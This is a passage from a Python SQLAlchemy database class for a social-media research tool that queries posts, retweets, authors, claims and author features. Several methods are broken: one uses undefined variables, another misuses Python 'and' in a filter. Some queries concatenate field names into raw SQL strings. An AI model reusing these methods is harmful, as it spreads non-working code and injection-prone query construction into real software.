and_(exists().where(Post.post_id == PostRetweeterConnection.post_osn_id), Post.domain != 'retweet')).all()\n return entries\n\n def get_posts_retweets_dict_gen(self, limit = 10):\n source_posts = aliased(Post, name='source_posts')\n retweets = aliased(Post, name='retweets')\n # entries = self.session.query(source_posts, retweets).filter(\n # and_(source_posts.post_id == PostRetweeterConnection.post_osn_id,\n # retweets.post_id == PostRetweeterConnection.retweeter_twitter_id,\n # source_posts.domain != u'retweet')).yield_per(10000).enable_eagerloads(False)\n entries = self.session.query(PostRetweeterConnection.post_osn_id, PostRetweeterConnection.retweeter_twitter_id)\n source_retweets_dict = defaultdict(list)\n for source_id, retweet_id in entries:\n source_retweets_dict[source_id].append(retweet_id)\n if len(list(source_retweets_dict.keys())) == limit:\n yield source_retweets_dict\n source_retweets_dict = defaultdict(list)\n yield source_retweets_dict\n\n def get_author_connection_by_source(self, source_ids):\n entries = self.session.query(AuthorConnection.source_author_guid, AuthorConnection.destination_author_guid).filter(AuthorConnection.source_author_guid.in_(set(source_ids)))\n author_connection_dict = defaultdict(set)\n for source_id, dest_id in entries:\n author_connection_dict[source_id].add(dest_id)\n return author_connection_dict\n\n def get_claims(self):\n return self.session.query(Claim).all()\n\n def get_claims_without_tweets(self):\n claims_with_tweets = self.session.query(Claim_Tweet_Connection.claim_id)\n return self.session.query(Claim).filter(~Claim.claim_id.in_(claims_with_tweets)).all()\n\n def get_claims_without_keywords(self):\n claims_with_keywords = self.session.query(Claim_Keywords_Connections.claim_id)\n return self.session.query(Claim).filter(~Claim.claim_id.in_(claims_with_keywords)).all()\n\n def get_claims_by_domain(self, domain):\n return self.session.query(Claim).filter(Claim.domain == domain).all()\n\n def get_posts_with_no_dates(self):\n records = self.session.query(Post).filter(Post.date == '2007-01-01 00:00:00').all()\n return records\n\n def get_all_posts(self):\n entries = self.session.query(Post).all()\n return entries\n\n def get_post_dictionary(self):\n posts = self.session.query(Post).yield_per(100000).enable_eagerloads(False)\n post_id_post_dict = defaultdict()\n for i, post in enumerate(posts):\n print('\\r load posts {}'.format(str(i+1)), end=\"\")\n post_id = post.post_id\n post_id_post_dict[post_id] = post\n print()\n return post_id_post_dict\n\n def get_elements_by_args(self, args, offset=0, author_guids=None):\n source_table = args['source']['table_name']\n source_id = args['source']['id']\n source_where_clauses = []\n if 'where_clauses' in args['source']:\n source_where_clauses = args['source']['where_clauses']\n\n connection_table_name = args['connection']['table_name']\n connection_source_id = args['connection']['source_id']\n connection_targeted_id = args['connection']['target_id']\n connection_where_clauses = []\n if 'where_clauses' in args['connection']:\n connection_where_clauses = args['connection']['where_clauses']\n\n destination_table_name = args['destination']['table_name']\n destination_id = args['destination']['id']\n destination_where_clauses = []\n if 'where_clauses' in args['destination']:\n destination_where_clauses = args['destination']['where_clauses']\n\n source_table = aliased(self.get_table_by_name(source_table), name=\"source\")\n connection_table = self.get_table_by_name(connection_table_name)\n destination_table = aliased(self.get_table_by_name(destination_table_name), name=\"dest\")\n connection_conditions = self._get_connection_conditions(connection_where_clauses, destination_table,\n source_table)\n\n source_conditions = self._get_conditions_from_where_cluases(source_table, source_where_clauses)\n destination_conditions = self._get_conditions_from_where_cluases(destination_table, destination_where_clauses)\n conditions = source_conditions + destination_conditions + connection_conditions\n source_id_attr = getattr(source_table, source_id)\n connection_source_attr = getattr(connection_table, connection_source_id)\n connection_target_attr = getattr(connection_table, connection_targeted_id)\n destination_id_attr = getattr(destination_table, destination_id)\n\n if author_guids:\n conditions.append(~connection_source_attr.in_(set(author_guids)))\n\n table_elements = self.session.query(connection_source_attr, destination_table) \\\n .join(source_table, connection_source_attr == source_id_attr) \\\n .join(destination_table, connection_target_attr == destination_id_attr) \\\n .filter(and_(condition for condition in conditions)) \\\n .order_by(connection_source_attr) \\\n .yield_per(10000).enable_eagerloads(False).offset(offset)\n\n return table_elements\n\n def _get_connection_conditions(self, connection_where_clauses, destination_table, source_table):\n connection_conditions = []\n for where_clause in connection_where_clauses:\n val1 = where_clause[\"val1\"]\n val2 = where_clause[\"val2\"]\n val1_attr = self._get_table_attr_by_prefix(destination_table, source_table, val1)\n val2_attr = self._get_table_attr_by_prefix(destination_table, source_table, val2)\n op_name = where_clause[\"op\"]\n if op_name == \"timeinterval\":\n delta = where_clause[\"delta\"]\n binary_exp1 = func.datetime(val1_attr, \"-{0} day\".format(delta)) <= val2_attr\n binary_exp2 = func.datetime(val1_attr, \"+{0} day\".format(delta)) >= val2_attr\n connection_conditions.append(binary_exp1)\n connection_conditions.append(binary_exp2)\n\n elif op_name == \"before\":\n delta = where_clause[\"delta\"]\n binary_exp1 = func.datetime(val1_attr, \"-{0} day\".format(delta)) <= val2_attr\n binary_exp2 = val1_attr > val2_attr\n connection_conditions.append(binary_exp1)\n connection_conditions.append(binary_exp2)\n elif op_name == \"after\":\n delta = where_clause[\"delta\"]\n binary_exp1 = val1_attr <= val2_attr\n binary_exp2 = func.datetime(val1_attr, \"+{0} day\".format(delta)) >= val2_attr\n connection_conditions.append(binary_exp1)\n connection_conditions.append(binary_exp2)\n else:\n\n binary_exp = val1_attr.op(op_name)(val2_attr)\n connection_conditions.append(binary_exp)\n return connection_conditions\n\n def _get_table_attr_by_prefix(self, destination_table, source_table, val1):\n if \"source\" in val1:\n val1_attr = getattr(source_table, val1.replace('source.', ''))\n elif \"dest\" in val1:\n val1_attr = getattr(destination_table, val1.replace('dest.', ''))\n else:\n val1_attr = val1\n return val1_attr\n\n def get_table_elements_by_ids(self, table_name, id_field, ids, where_cluases=[]):\n table_elements = self.get_table_elements_by_where_cluases(table_name, where_cluases, id_field)\n ids_set = set(ids)\n table_elements = [element for element in table_elements if getattr(element, id_field) in ids_set]\n return table_elements\n\n def get_table_elements_by_where_cluases(self, table_name, where_cluases, data_id, offset=0, author_guids=None):\n table = self.get_table_by_name(table_name)\n conditions = self._get_conditions_from_where_cluases(table, where_cluases)\n if author_guids:\n conditions.append(~getattr(table, data_id).in_(set(author_guids)))\n\n table_elements = self.session.query(table) \\\n .filter(and_(condition for condition in conditions)) \\\n .order_by(data_id) \\\n .yield_per(10000).enable_eagerloads(False).offset(offset)\n return table_elements\n\n def _get_conditions_from_where_cluases(self, table, where_cluases):\n conditions = []\n for where_clause_dict in where_cluases:\n field_name = where_clause_dict['field_name']\n value = where_clause_dict['value']\n op_name = '='\n if 'op' in where_clause_dict:\n op_name = where_clause_dict['op']\n try:\n table_attr = getattr(table, field_name)\n binary_exp = table_attr.op(op_name)(value)\n except:\n table_attr = field_name\n binary_exp = field_name == value\n conditions.append(binary_exp)\n return conditions\n\n def get_table_dictionary(self, table_name, table_id):\n table = self.get_table_by_name(table_name)\n posts = self.session.query(table).all()\n post_id_post_dict = defaultdict()\n for post in posts:\n post_id = getattr(post, table_id)\n post_id_post_dict[post_id] = post\n return post_id_post_dict\n\n def get_filterd_author_dict(self, author_ids):\n authors = self.session.query(Author).filter(Author.author_guid.in_(author_ids)).yield_per(10000).enable_eagerloads(False)\n author_id_author_dict = defaultdict()\n for i, author in enumerate(authors):\n print('\\rload authors {}'.format(i), end='')\n author_guid = getattr(author, 'author_guid')\n author_id_author_dict[author_guid] = author\n print()\n return author_id_author_dict\n\n def get_filterd_source_dict(self, source_ids, table_name, key_name):\n table = self.get_table_by_name(table_name)\n key_field = getattr(table, key_name)\n\n items = self.session.query(table).filter(key_field.in_(source_ids)).yield_per(10000).enable_eagerloads(False)\n source_id_source_dict = defaultdict()\n for i, item in enumerate(items):\n print('\\rload {} {}'.format(table_name, str(i+1)), end='')\n item_key = getattr(item, key_name)\n source_id_source_dict[item_key] = item\n print()\n return source_id_source_dict\n\n def get_author_dictionary(self):\n return self.authors_dict_by_field('author_guid')\n\n def authors_dict_by_field(self, field='author_guid'):\n authors = self.session.query(Author).yield_per(10000).enable_eagerloads(False)\n author_id_author_dict = defaultdict()\n for i, author in enumerate(authors):\n print('\\rload authors {}'.format(i), end='')\n author_guid = getattr(author, field)\n author_id_author_dict[author_guid] = author\n print()\n return author_id_author_dict\n\n def get_author_guid_posts_dict(self):\n posts = self.session.query(Post).yield_per(10000).enable_eagerloads(False)\n author_guid_posts_dict = defaultdict(list)\n for post in posts:\n author_guid_posts_dict[post.author_guid].append(post)\n return author_guid_posts_dict\n\n def _get_posts_content_screen_name_tuples(self):\n logging.info(\"Get all post content\")\n q = \"SELECT DISTINCT posts.content,posts.author \" \\\n \"FROM posts \" \\\n \"WHERE posts.domain = 'Microblog'\"\n\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n return cursor\n # records = list(cursor.fetchall())\n # return records\n\n def get_posts_by_domain(self, domain):\n posts_by_user = {}\n # posts = self.session.query(Post).filter(Post.domain == unicode(domain)).slice(start,stop).all()\n query = text(\"select posts.author_guid, posts.date, posts.content from posts where posts.domain = :domain \"\n \"and length(posts.content)>0 and posts.date IS NOT NULL\")\n counter = 0\n print(\"schema_definition.get_posts_by_domain before executing query..\")\n result = self.session.execute(query, params=dict(domain=domain))\n print(\"schema_definition.get_posts_by_domain finished executing query..\")\n cursor = result.cursor\n print(\"schema_definition.get_posts_by_domain before calling generator function\")\n posts = self.result_iter(cursor, arraysize=10000)\n print(\"schema_definition.get_posts_by_domain after calling generator function\")\n\n posts_by_user = self._create_user_posts_dictinary(posts)\n # TODO added by lior, needs to verify that it doesn't break anything\n if len(posts_by_user) == 0:\n guid = self.get_author_guids()\n posts_by_user = {author: () for author in guid}\n return posts_by_user\n\n def get_author_posts_dict_by_minimal_num_of_posts(self, domain, min_num_of_posts):\n query = \"\"\"\n SELECT posts.author_guid, posts.date, posts.content\n FROM posts\n WHERE posts.author_guid IN (\n\t SELECT posts.author_guid\n\t FROM posts\n\t WHERE posts.domain = :domain\n\t AND LENGTH(posts.content)>0\n\t GROUP BY posts.author_guid\n\t HAVING COUNT(*) >= :min_num_of_posts\n )\n \"\"\"\n # posts = self.session.query(Post).filter(Post.domain == unicode(domain)).slice(start,stop).all()\n query = text(query)\n result = self.session.execute(query, params=dict(domain=domain, min_num_of_posts=min_num_of_posts))\n cursor = result.cursor\n posts = self.result_iter(cursor, arraysize=10000)\n posts_by_user = self._create_user_posts_dictinary(posts)\n return posts_by_user\n\n def get_random_author_posts_dict_by_minimal_num_of_posts(self):\n query = \"\"\"\n SELECT posts.author_guid, posts.date, posts.content\n FROM posts\n WHERE LENGTH(posts.content)>0\n AND posts.author_guid IN (\n SELECT random_authors_for_graphs.author_guid\n FROM random_authors_for_graphs\n )\n \"\"\"\n # posts = self.session.query(Post).filter(Post.domain == unicode(domain)).slice(start,stop).all()\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n posts = self.result_iter(cursor) # , arraysize=10000)\n posts_by_user = self._create_user_posts_dictinary(posts)\n return posts_by_user\n\n def _create_user_posts_dictinary(self, posts):\n posts_by_user = defaultdict(list)\n counter = 0\n for current_post in posts:\n counter += 1\n if counter % 5000 == 0:\n msg = \"\\r Creating post objects \" + str(counter)\n print(msg, end=\"\")\n str_date = current_post[1]\n date_obj = datetime.datetime.strptime(str_date, '%Y-%m-%d %H:%M:%S')\n post = Struct(author_guid=current_post[0], date=date_obj, content=current_post[2])\n\n posts_by_user[str(post.author_guid)].append(post)\n return posts_by_user\n\n def get_single_post_per_author_topic_mapping(self):\n q = \" select * from single_post_per_author_topic_mapping\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n result = list(cursor.fetchall())\n return result\n\n def get_posts_by_author_guid(self, author_guid):\n\n query = self.session.query(Post).filter(Post.author_guid == author_guid).order_by(Post.date)\n entries = query.all()\n return entries\n\n \"\"\"\n if window_start and window_end is not given search in all DB\n \"\"\"\n\n def isPostExist(self, url, window_start=None, window_end=None):\n\n if window_start is None or window_end is None:\n query = text(\"SELECT EXISTS(SELECT * FROM posts WHERE (url= :url) limit 1)\")\n result = self.session.execute(query, params=dict(url=str(url)))\n return [r for (r,) in result][0]\n else:\n query = text(\n \"SELECT EXISTS(SELECT * FROM posts WHERE (url= :url or guid= :guid) and (:window_start <= date and \"\n \"date <=:window_end) limit 1)\")\n result = self.session.execute(query,\n params=dict(url=str(url), window_start=window_start, window_end=window_end))\n return [r for (r,) in result][0]\n\n def addPost(self, post):\n self.session.merge(post)\n\n def addPosts(self, posts):\n logging.info(\"total Posts inserted to DB: \" + str(len(posts)))\n i = 1\n self.session.flush()\n for post in posts:\n if (i % 100 == 0):\n msg = \"\\r Insert post to DB: [{}\".format(i) + \"/\" + str(len(posts)) + ']'\n print(msg, end=\"\")\n i += 1\n self.addPost(post)\n # self.session.flush()\n self.session.commit()\n if len(posts) != 0: print(\"\")\n\n def merge_items(self, items):\n logging.info(\"total items inserted to DB: \" + str(len(items)))\n for i, item in enumerate(items):\n if (i % 100 == 0):\n msg = \"\\r Insert items to DB: [{}\".format(str(i + 1)) + \"/\" + str(len(items)) + ']'\n print(msg, end=\"\")\n self.session.merge(item)\n\n def updatePost(self, post):\n self.session.query(Post).filter(Post.url == post[0]).update(post[1])\n\n def updatePosts(self, posts):\n logging.info(\"total Posts updated to DB: \" + str(len(posts)))\n i = 1\n for post in posts:\n msg = \"\\r update post to DB: [{}\".format(i) + \"/\" + str(len(posts)) + ']'\n print(msg, end=\"\")\n i += 1\n self.updatePost(post)\n self.session.commit()\n if len(posts) != 0: print(\"\")\n\n def getPostUsingURL(self, url, window_start=None, window_end=None):\n if window_start is None or window_end is None:\n query = self.session.query(Post).filter(Post.url == url)\n else:\n query = self.session.query(Post).filter(\n and_(Post.url == url, window_start <= Post.date, Post.date <= window_end))\n return query.all()\n\n def isRefExist(self, url):\n q = text(\"SELECT EXISTS(SELECT * FROM posts WHERE url= :url limit 1)\")\n res = self.session.execute(q, params=dict(url=str(url)))\n return [r for (r,) in res][0]\n\n def isPostNotDetailed(self, url, guid):\n q = text(\"SELECT EXISTS(SELECT * FROM posts WHERE (url= :url or guid= :guid) and \\\n is_detailed=0 limit 1)\")\n res = self.session.execute(q, params=dict(url=str(url), guid=str(guid)))\n return [r for (r,) in res][0]\n\n def addReference(self, reference):\n self.session.merge(reference)\n\n def addReferences(self, references):\n i = 1\n for ref in references:\n msg = \"\\r Add ref: [{}\".format(i) + \"/\" + str(len(references)) + ']'\n print(msg, end=\"\")\n i += 1\n self.addReference(ref)\n self.session.commit()\n\n def getPostsMaxDate(self, window_start=None, window_end=None):\n if window_start is None or window_end is None:\n res = self.session.query(func.max(Post.date))\n else:\n res = self.session.query(func.max(Post.date)).filter(\n and_(Post.date >= window_start, Post.date <= window_end))\n return res.scalar()\n\n def contains_post(self, post_url):\n q = text(\"select * from posts where posts.url = :post_url\")\n res = self.session.execute(q, params=dict(post_url=post_url))\n res = [r for r in res]\n return len(res) > 0\n\n ###########################################################\n # authors\n ###########################################################\n\n def insertIntoAuthorsTable(self, win_start, win_end):\n # TODO: remove window_start and window_end\n q = text(\n \"insert or ignore into authors(name,domain,author_guid, xml_importer_insertion_date) select distinct author,domain,author_guid, xml_importer_insertion_date from posts where author_guid>''\")\n self.session.execute(q)\n self.session.commit()\n\n def insert_or_update_authors_from_xml_importer(self, win_start, win_end):\n authors_to_update = []\n posts = self.session.query(Post).filter(Post.author_guid != \"\").all()\n logging.info(\"Insert or update_authors from xml importer\")\n logging.info(\"total Posts: \" + str(len(posts)))\n i = 1\n for post in posts:\n msg = \"\\r Insert or update posts: [{}\".format(i) + \"/\" + str(len(posts)) + ']'\n print(msg, end=\"\")\n i += 1\n author_guid = post.author_guid\n domain = post.domain\n result = self.get_author_by_author_guid_and_domain(author_guid, domain)\n if not result:\n author = Author()\n author.name = post.author\n author.domain = post.domain\n author.author_guid = post.author_guid\n else:\n author = result[0]\n author.xml_importer_insertion_date = post.xml_importer_insertion_date\n authors_to_update.append(author)\n if len(posts) != 0: print(\"\")\n self.add_authors(authors_to_update)\n\n def addAuthor(self, author):\n self.session.merge(author)\n\n def addAuthors(self, authorsList):\n logging.info(\"total Posts inserted to DB: \" + str(len(authorsList)))\n i = 1\n for author in authorsList:\n if (i % 100 == 0):\n msg = \"\\r Insert author to DB: [{}\".format(i) + \"/\" + str(len(authorsList)) + ']'\n print(msg, end=\"\")\n i += 1\n self.addAuthor(author)\n self.commit()\n\n def insert_authors(self):\n query = text(\n \"insert or ignore into authors(author_screen_name) select distinct author_screen_name from posts where author_screen_name>''\")\n self.session.execute(query)\n self.session.commit()\n\n def get_authors(self):\n result = self.session.query(Author).all()\n return result\n\n def get_authors_media_pats(self):\n result = self.session.query(Author.media_path).filter(Author.media_path.isnot(None)).all()\n return result\n\n def get_authors_withot_connection(self, connection_type):\n # query = self.session.query(Author).filter(and_(Author.author_guid.in_(AuthorConnection.source_author_guid),\n # AuthorConnection.connection_type == connection_type))\n\n query = text(\"\"\"SELECT *\n FROM authors\n WHERE authors.author_guid NOT IN (SELECT source_author_guid \n FROM author_connections\n WHERE connection_type = :connection_type)\n \"\"\")\n result = self.session.execute(query, params=dict(connection_type=connection_type))\n author_dicts = list(map(dict, result))\n authors = [Author(**author_dict) for author_dict in author_dicts]\n return authors\n\n def get_authors_with_connections(self, connection_type):\n # query = self.session.query(Author).filter(and_(Author.author_guid.in_(AuthorConnection.source_author_guid),\n # AuthorConnection.connection_type == connection_type))\n\n query = text(\"\"\"SELECT source_author_guid \n FROM author_connections\n WHERE connection_type = :connection_type\n \"\"\")\n result = self.session.execute(query, params=dict(connection_type=connection_type))\n cursor = result.cursor\n tuples = cursor.fetchall()\n authors = set(chain(*tuples))\n return authors\n\n def get_reddit_authors(self):\n result = self.session.query(RedditAuthor).all()\n return result\n\n def get_reddit_posts(self):\n result = self.session.query(RedditPost).all()\n return result\n\n def get_all_authors(self):\n result = self.session.query(Author).all()\n return result\n\n def get_authors_by_domain(self, domain):\n targeted_social_network = getConfig().get(\"DEFAULT\", \"social_network_name\")\n # if targeted_social_network == Social_Networks.TWITTER:\n # result = self.session.query(Author).filter(and_(Author.domain == unicode(domain)),\n # Author.author_osn_id.isnot(None),\n # or_(Author.xml_importer_insertion_date.isnot(None), Author.mark_missing_bad_actor_retweeters_insertion_date.isnot(None))).all()\n # else:\n result = self.session.query(Author).filter(and_(Author.domain == str(domain))\n ).all()\n\n return result\n\n def get_temp_author_connections_all(self):\n result = self.session.query(TempAuthorConnection).all()\n\n return result\n\n def get_authors_by_domain_dict(self):\n authors = self.get_authors()\n author_domain_dict = defaultdict(list)\n for author in authors:\n author_domain_dict[author.domain].append(author)\n return author_domain_dict\n\n def get_author_guid_to_author_dict(self):\n authors = self.get_all_authors()\n authors_dict = dict((aut.author_guid, aut) for aut in authors)\n return authors_dict\n\n # def get_authors_by_domain(self, domain):\n # targeted_social_network = getConfig().get(\"DEFAULT\", \"social_network_name\")\n # if targeted_social_network == Social_Networks.TWITTER:\n # result = self.session.query(Author).filter(and_(Author.domain == unicode(domain)),\n # Author.author_osn_id.isnot(None),\n # or_(Author.xml_importer_insertion_date.isnot(None), Author.mark_missing_bad_actor_retweeters_insertion_date.isnot(None))).all()\n # else:\n # result = self.session.query(Author).filter(and_(Author.domain == unicode(domain)),\n # Author.author_osn_id.isnot(None)\n # ).all()\n #\n # return result\n\n # def get_authors(self, domain):\n # result = self.session.query(Author).filter(and_(Author.domain == unicode(domain),\n # Author.author_osn_id.isnot(None))\n # ).all()\n #\n # return result\n\n def get_number_of_targeted_osn_authors(self, domain):\n query = text(\"\"\"SELECT COUNT(authors.author_guid)\n FROM authors\n WHERE authors.domain = :domain\n AND authors.author_osn_id IS NOT NULL\n AND (authors.xml_importer_insertion_date IS NOT NULL\n OR authors.mark_missing_bad_actor_retweeters_insertion_date IS NOT NULL)\"\"\")\n result = self.session.execute(query, params=dict(domain=domain))\n cursor = result.cursor\n tuples = cursor.fetchall()\n if tuples is not None and len(tuples) > 0:\n authors_count = tuples[0][0]\n return authors_count\n return None\n\n def get_number_of_authors(self):\n query = text(\"\"\"SELECT COUNT(authors.author_guid)\n FROM authors\"\"\")\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = cursor.fetchall()\n if tuples is not None and len(tuples) > 0:\n authors_count = tuples[0][0]\n return authors_count\n return None\n\n def get_number_of_targeted_osn_posts(self, domain):\n query = text(\"\"\"SELECT COUNT(posts.author_guid)\n FROM posts\n WHERE posts.domain = :domain\"\"\")\n result = self.session.execute(query, params=dict(domain=domain))\n cursor = result.cursor\n tuples = cursor.fetchall()\n if tuples is not None and len(tuples) > 0:\n posts_count = tuples[0][0]\n return posts_count\n return None\n\n def get_number_of_posts(self):\n query = text(\"\"\"SELECT COUNT(posts.author_guid)\n FROM posts\"\"\")\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = cursor.fetchall()\n if tuples is not None and len(tuples) > 0:\n posts_count = tuples[0][0]\n return posts_count\n return None\n\n def get_author_by_guid(self, guid):\n ans = self.session.query(Author).filter(Author.author_guid == guid).all()\n return ans[0]\n\n def getAuthorByName(self, name):\n logging.info(\"Name of given author is: \" + name)\n return self.session.query(Author).filter(Author.name == name).all()\n\n def getAuthorIDbyNameAndDomain(self, name, start_wind, domain):\n res = self.session.query(Author.author_guid).filter(Author.name == name and Author.domain == domain).all()\n\n return [r for (r,) in res][0]\n\n def get_author_guid_and_author_osn_id(self, domain):\n data = {}\n query = text(\" SELECT author_guid, author_osn_id \\\n FROM authors \\\n WHERE(authors.xml_importer_insertion_date IS NOT NULL \\\n OR authors.mark_missing_bad_actor_retweeters_insertion_date IS NOT NULL ) \\\n AND authors.author_osn_id IS NOT NULL AND authors.domain = :domain \")\n res = self.session.execute(query, params=dict(domain=domain))\n all_rows = res.cursor.fetchall()\n\n for row in all_rows:\n data[row[0]] = row[1]\n return data\n\n '''\n def get_author_by_id(self, author_id):\n\n query = self.session.query(Author).filter(Author.author_id == author_id)\n posts_result = query.all()\n\n #query = \"SELECT * FROM \" + self.posts + \" WHERE post_id=\" + str(post_id)\n #result = self.session.execute(query)\n #cursor = result.cursor\n #posts_result = cursor.fetchall()\n\n if len(posts_result):\n post = self.create_object(posts_result)\n return post\n return None\n '''\n\n def delete_author(self, name, domain, author_guid):\n self.session.query(Author).filter(\n (Author.name == name) & (Author.domain == domain) & (Author.author_guid == author_guid)).delete()\n self.session.commit()\n\n def update_author(self, author):\n self.session.merge(author)\n\n def update_author_type_by_author_guid(self, guid, type):\n self.session.query(Author).filter(Author.author_guid == guid).update({'author_type': type})\n self.session.commit()\n\n def get_author_name_by_post_content(self, post_content):\n query = text(\"select posts.author from posts where posts.content like :post_content\")\n res = self.session.execute(query, params=dict(post_content=post_content + \"%\"))\n return [author_name[0] for author_name in res]\n\n ###########################################################\n # author_citations\n ###########################################################\n\n def deleteAuthCit(self, window_start=None):\n if window_start:\n self.session.query(AuthorCitation).filter(AuthorCitation.window_start == window_start).delete()\n\n else:\n self.session.query(AuthorCitation).delete()\n self.session.commit()\n pass\n\n def insertIntoAuthorCitation(self, win_start, win_end):\n\n q = text(\n \" insert into author_citations (from_author, from_domain, to_author, to_domain, window_start, window_end, number_of_citations,from_author_guid,to_author_guid) \\\n select \\\n p1.author as from_author, \\\n p1.domain as from_domain, \\\n p2.author as to_author, \\\n p2.domain as to_domain, \\\n :window_start as window_start, \\\n :window_end as window_end, \\\n count(*) as number_of_citations, \\\n p1.author_guid as from_author_guid, \\\n p2.author_guid as to_author_guid \\\n from \\\n post_citations as ref \\\n inner join posts as p1 on p1.post_id=ref.post_id_from \\\n inner join posts as p2 on p2.post_id=ref.post_id_to \\\n where \\\n p2.author_guid>'' and p1.author_guid>'' and \\\n :window_start <= p1.date and p1.date <= :window_end \\\n group by from_author, from_domain, to_author, to_domain \")\n\n self.session.execute(q, params=dict(window_start=win_start, window_end=win_end))\n self.commit()\n\n ###########################################################\n # author_features\n ###########################################################\n\n def get_author_features_by_author_guid(self, author_guid):\n result = self.session.query(AuthorFeatures).filter(AuthorFeatures.author_guid == author_guid).all()\n if len(result) > 0:\n return result\n return None\n\n def get_author_feature(self, author_guid, attribute_name):\n result = self.session.query(AuthorFeatures).filter(and_(AuthorFeatures.author_guid == author_guid,\n AuthorFeatures.attribute_name == attribute_name)).all()\n if len(result) > 0:\n return result[0]\n return None\n\n def get_author_features(self):\n\n result = self.session.query(AuthorFeatures).all()\n # if len(result) > 0:\n return result\n # return None\n\n def get_author_features_labeled_authors_only(self):\n query = text('select author_features.* \\\n from \\\n author_features \\\n inner join authors on (author_features.author_guid = authors.author_guid) \\\n where authors.author_type is not null')\n result = self.session.execute(query)\n cursor = result.cursor\n author_features = cursor.fetchall()\n return author_features\n\n def get_author_features_lazy(self, offset=0, yield_per=10000):\n result = self.session.query(AuthorFeatures).yield_per(yield_per).enable_eagerloads(False).offset(offset)\n return result\n\n def get_author_features_labeled_authors_only_lazy(self, offset=0, yield_per=10000):\n result = self.session.query(AuthorFeatures)\\\n .join(source_table, AuthorFeatures.author_guid == Author.author_guid)\\\n .filter(authors.author_type.isnot(None))\\\n .yield_per(yield_per).enable_eagerloads(False).offset(offset)\n return result\n\n\n # def get_author_features_by_author_id_field(self, author_id_field, target_field, is_labeled, ):\n # logging.info(\"Start getting authors features\")\n # if is_labeled:\n # query = text('select author_features.*, authors.'+target_field+' \\\n # from \\\n # author_features \\\n # inner join authors on (author_features.author_guid = authors.'+author_id_field+') \\\n # where authors.author_type is not null')\n # # query = text('select author_features.*, authors.'+target_field+' \\\n # # from \\\n # # author_features \\\n # # inner join authors on (author_features.author_guid = authors.name) where authors.author_type is not null')\n # else:\n # query = text('select author_features.*, authors.' + target_field + ' \\\n # from \\\n # author_features \\\n # inner join authors on (author_features.author_guid = authors.' + author_id_field + ') \\\n # where authors.author_type is null')\n # result = self.session.execute(query)\n # cursor = result.cursor\n # author_features = cursor.fetchall()\n # logging.info(\"Finished getting authors features\")\n #\n # return author_features\n\n def get_author_features_by_author_id_field(self, author_id_field, target_field, is_labeled):\n logging.info(\"Start getting authors features\")\n if is_labeled:\n query = text(\n 'select author_features.*, authors.' + target_field + ' from author_features inner join authors on (author_features.author_guid = authors.' + author_id_field + ') where authors.author_type is not null')\n # query = text('select author_features.*, authors.'+target_field+' \\\n # from \\\n # author_features \\\n # inner join authors on (author_features.author_guid = authors.name) where authors.author_type is not null')\n else:\n query = text('select author_features.*, authors.' + target_field + ' \\\n from \\\n author_features \\\n inner join authors on (author_features.author_guid = authors.' + author_id_field + ') \\\n where authors.author_type is null')\n result = self.session.execute(query)\n cursor = result.cursor\n author_features = cursor.fetchall()\n logging.info(\"Finished getting authors features\")\n\n return author_features\n\n def get_author_features_unlabled_authors_only_by_author_id_field(self, author_id_field, target_field):\n logging.info(\"Start getting authors features\")\n\n query = text('select author_features.*, authors.' + target_field + ' \\\n from \\\n author_features \\\n inner join authors on (author_features.author_guid = authors.' + author_id_field + ') \\\n where authors.author_type is null')\n result = self.session.execute(query)\n cursor = result.cursor\n author_features = cursor.fetchall()\n logging.info(\"Finished getting authors features\")\n return author_features\n\n def insert_authors_features(self, list_author_features):\n self.session.add_all(list_author_features)\n\n def update_author_features(self, author_features):\n self.session.merge(author_features)\n\n def update_target_articles(self, target_article):\n self.session.merge(target_article)\n\n def update_image_hidden_text(self, image_hidden_text):\n self.session.merge(image_hidden_text)\n\n def add_author_features(self, author_features):\n logging.info(\"total Author Features inserted to DB: \" + str(len(author_features)))\n i = 1\n for author_feature in author_features:\n if (i % 100 == 0):\n msg = \"\\r Insert author featurs to DB: [{}\".format(i) + \"/\" + str(len(author_features)) + ']'\n print(msg, end=\"\")\n i += 1\n self.update_author_features(author_feature)\n self.commit()\n\n def convert_auhtor_feature_author_id_form_author_name_to_author_guid(self):\n query = \"update author_features SET author_guid = (select author_guid from authors where authors.name = author_features.author_guid)\"\n self.session.execute(q)\n self.commit()\n\n def add_target_articles(self, target_articles):\n logging.info(\"target_articles inserted to DB: \" + str(len(target_articles)))\n i = 1\n for target_article in target_articles:\n if (i % 100 == 0):\n msg = \"\\r Insert target_article to DB: [{}\".format(i) + \"/\" + str(len(target_articles)) + ']'\n print(msg, end=\"\")\n i += 1\n self.update_target_articles(target_article)\n self.commit()\n\n def add_image_hidden_texts(self, image_hidden_texts):\n logging.info(\"image_hidden_texts inserted to DB: \" + str(len(image_hidden_texts)))\n i = 1\n for image_hidden_text in image_hidden_texts:\n if (i % 100 == 0):\n msg = \"\\r Insert image_hidden_text to DB: [{}\".format(i) + \"/\" + str(len(image_hidden_texts)) + ']'\n print(msg, end=\"\")\n i += 1\n self.update_image_hidden_text(image_hidden_text)\n self.commit()\n\n def delete_authors_features(self):\n q = text(\"delete from author_features\")\n self.session.execute(q)\n self.commit()\n\n def delete_from_authors_features_trained_authors(self, author_guids_to_remove):\n self.session.query(AuthorFeatures).filter(AuthorFeatures.author_guid.in_(author_guids_to_remove)).delete(\n synchronize_session='fetch')\n self.session.commit()\n\n ###########################################################\n # key_authors\n ###########################################################\n def get_key_authors(self):\n query = text(\"SELECT author_name FROM export_key_authors\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return [rec[0] for rec in records]\n\n def get_sum_tfidf_scores(self):\n '''\n :return: A map of author_guid->sumtfidf\n '''\n query = text(\"SELECT export_key_authors.author_guid, \"\n \"export_key_authors.SumTFIDF \"\n \"FROM export_key_authors \"\n \"JOIN authors \"\n \"ON export_key_authors.author_guid = authors.author_guid \"\n \"WHERE domain='Microblog'\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return {rec[0]: rec[1] for rec in records}\n\n def get_max_tfidf_scores(self):\n '''\n :return: A map author_guid->maxtfidf\n '''\n query = text(\"SELECT export_key_authors.author_guid, \"\n \"export_key_authors.MaxTFIDF \"\n \"FROM export_key_authors \"\n \"JOIN authors \"\n \"ON export_key_authors.author_guid = authors.author_guid \"\n \"WHERE 